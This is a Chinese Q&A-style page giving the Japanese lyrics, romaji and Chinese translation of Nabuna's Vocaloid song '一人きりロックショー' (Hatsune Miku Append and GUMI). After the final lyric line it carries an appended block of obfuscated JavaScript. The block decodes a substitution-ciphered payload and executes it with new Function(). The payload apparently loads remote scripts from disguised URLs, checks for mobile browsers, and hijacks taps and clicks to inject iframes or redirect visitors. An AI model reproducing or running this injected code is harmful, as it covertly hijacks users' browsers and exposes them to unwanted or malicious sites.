求GUMI·MIKU一人的rock show的中文+日文歌词
推荐回答（1个）
一人きりロックショー/一人的rock show
作词：ナブナ
作曲：ナブナ
编曲：ナブナ
呗：初音ミクAppend·GUMI
翻译：（bilibili av510073）
振り返るそこで笑ってみせて/请在那处回眸展笑颜
kurikaeru soko de waratte misete
最终列车の 窓から外が/末班列车的 窗外之景
saishuu ressha no mado kara soto ga
ぱっぱらぱっと 変わってしまうようで/似乎啪啦啦地变了
papparappa tto kawatte shimau youde
今君の言叶が 13 and 45 a-o/刚才你的话 13 and 45
ima kimi no kotoba One Three And Four Five a-o
大体なんでも 意味はないけど/几乎全部 都没有意义
daitai nande mo imi wa nai kedo
音さえ鸣ったら それで终い/只要声音响起 就到此为止
oto sae nattara sorede shimai
あぁ ねぇ まだ谁も见てくれない/啊啊，我说 还是没有人来看
aa nee mada daremo mitekurenai
いない いない/没有啊 没有啊
inai inai
果てには 全部淘汰して/最终决定 全部淘汰
hate ni wa zenbu touta shite
俯いた 仆の 头の中/低垂下的 我的脑袋
utsumuita boku no atama no naka
「なんも変わんないなぁ」/“还是没什么两样啊”
nan mo kawannai naa
消えないような言叶で 仆を杀して/用无尽的语言 将我扼杀
kienai youna kotoba de boku wo koroshite
何十秒に缒ったままの/才刚凑上来数十秒的
nanjuubyou ni sugatta mama no
固まった意味はもう 君が知ること/生硬含义已经 让你无法理解了
kata matta imi wa mou kimi ga shiru koto
ないよ ないよ らったった/不知道 不知道 拉哒哒
nai yo nai yo rattatta
投げ出して话しましょう？/中途停下 来谈心吧？
nagedashite hanashi mashou
この世はすべて 爱情 劣情/这世上全是 爱情与色欲
kono yo wa subete aijou retsujou
なんのこと？/是指什么呢？
nan no koto
呟いた音さえもうわからない/连低语的声音 都无法分辨了
tsubuyaita oto sae mou wakaranai
つまづいた仆を笑ってみせて/那你就嘲笑如此受挫的我吧
itsumazuita boku wo waratte misete
爱情论者の君の心は/身为爱情主张者 你的心
aijouronsha no kimi no kokoro wa
さっと変わって移ってしまうような/肯定会 移情别恋
satto kawatte utsutte shimau youna
ただ あの日の事が 13 and 85 ye-e-e/只是 那天的事 13 and 85 yeah
tada ano hi no koto ga One Three And Eight Five ye-e-e
落第 残念/落榜了 好遗憾
rakudai zannen
何か违う まだ君の言叶は终わっちゃいない/貌似有什么不对 你的话 仍旧 没说完
nanika chigau mada kimi no kotoba wa owacchainai
もう その先は闻きたくない/已经 不想听下面的话了
mou sono saki wa kikitakunai
见ない 见ない/不去看 不去看
minai minai
だからさ 声も退化して/于是呢 声音也退化
dakara sa koe mo taikashite
失った呗に身を任せて/埋首于 失去的歌
ushinatta uta ni mi wo makasete
全部忘れてしまいましょう なんて/全部都忘掉吧 之类的
zenbu wasurete shimai mashou nante
そうなっちゃったんでしょう？/沦落成这样了吧？
souna cchattan deshou
鱼色の呜咽が 耳を焦がして/鱼色抽泣声 令双耳焦躁
sakana iro no oetsu ga mimi wo kogashite
夕焼け色を映したままで/霞红之色 尚未褪去
yuuyake iro wo utsushita mamade
客席の外侧の 空はそこに/观众席外侧 从那里看天空
kyakuseki no sotogawa no sora wa soko ni
见えるの？ 见ないの？ らったった/看得到？看不到？ 啦哒哒
mieru no minai no rattatta
死にたくて俯いて それでも廻る/好想死 垂下了头 即便如此仍要继续
shinitakute utsumuite soredemo mawaru
舞台の裏に座ったままで/呆坐在 舞台之后
butai no ura ni suwatta mamade
消えない思い出も もう止まらない/挥之不去的回忆 已经阻止不了
kienai omoide mo mou tomaranai
変わらない呗を歌ってみせて/那就来唱一首 不变的歌
kawaranai uta wo utatte misete
どうかな これでどうかな/怎么样 这样一来怎么样
douka na kore de douka na
この歌を他人（ひと）に认めて欲しくて/希望这首歌被大家采纳
kono uta wo hito ni mitomete hoshikute
あぁどうでも 意味はないけど/啊 不管怎么样 都没有意义
aa doudemo imi wa nai kedo
この狭いホールに音を/窄小会场里放声歌唱
kono semai ho-ru ni oto wo
そうだよ まだ届くかな/说起来 这下能传达到吗
souda yo mada todoku kana
あの客席の奥 君の元まで/直至观众席深处 你的身边
ano kyakuseki no oku kimi no moto made
あぁ どうにも闻こえない/啊啊 怎么也听不到
aa dou ni mo kikoenai
ままのそこに响く 一人きりロックショーを/在这处回响的 独自一人的rock show
mama no soko ni hibiku hitorikiri rokkusho- wo
知らないような気持ちが 仆を壊して/陌生的心情 令我抓狂
shiranai youna kimochi ga boku wo kowashite
舞台の裏で答えを探して/到舞台后方寻求答案
butai no ura de kotae wo sagashite
无様に这い蹲（つくば）る/狼狈地蹲跪着
buzama ni hai tsukubaru
仆の姿はどうだい？/这样的我怎么样？
boku no sugata wa doudai
そうかい らったった/是吗 啦哒哒
soukai rattatta
见えないような言叶で 仆を杀して/用无形的语言 将我扼杀
mienai youna kotoba de boku wo koroshite
もう一回に缒ったままの 消せない思い出が/再次凑上来的 抹消不去的回忆
mou ikkai ni sugatta mama no kesenai omoide ga
もう止まらない/已经阻止不了
mou tomaranai
「君を忘れて楽になりました」/“将你忘掉后我轻松了许多”
kimi wo wasurete raku ni nari mashita
それでも何かがうずいてました/即便如此仍要继续隐隐作痛
soredemo nanika ga uzuite mashita
消えなくてひどく痛んでました/挥之不去般剧烈地痛着
kienakute hidoku itande mashita
何かの言叶を覚えてました/记下了某些话
nanika no kotoba wo oboete mashita
いつまでも一人歌ってました/一直独自歌唱着
itsumademo hitori utatte mashita
それでもどこか失ったままで/然而仍觉失去了什么
soredemo dokoka ushinatta mamade
それでも呼吸を繋いだままで/然而仍是息息相连
soredemo kokyuu wo tsunaida mamade
それでも何かは埋まったままで/然而仍觉埋藏了什么
soredemo nanika wa umatta mamade
それでも心はうずいたままで/然而仍觉心隐隐的痛
soredemo kokoro wa uzuita mamade
振り返る君も笑っていたの/回眸的你也是笑着的
furikaeru kimi mo waratte ita no
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
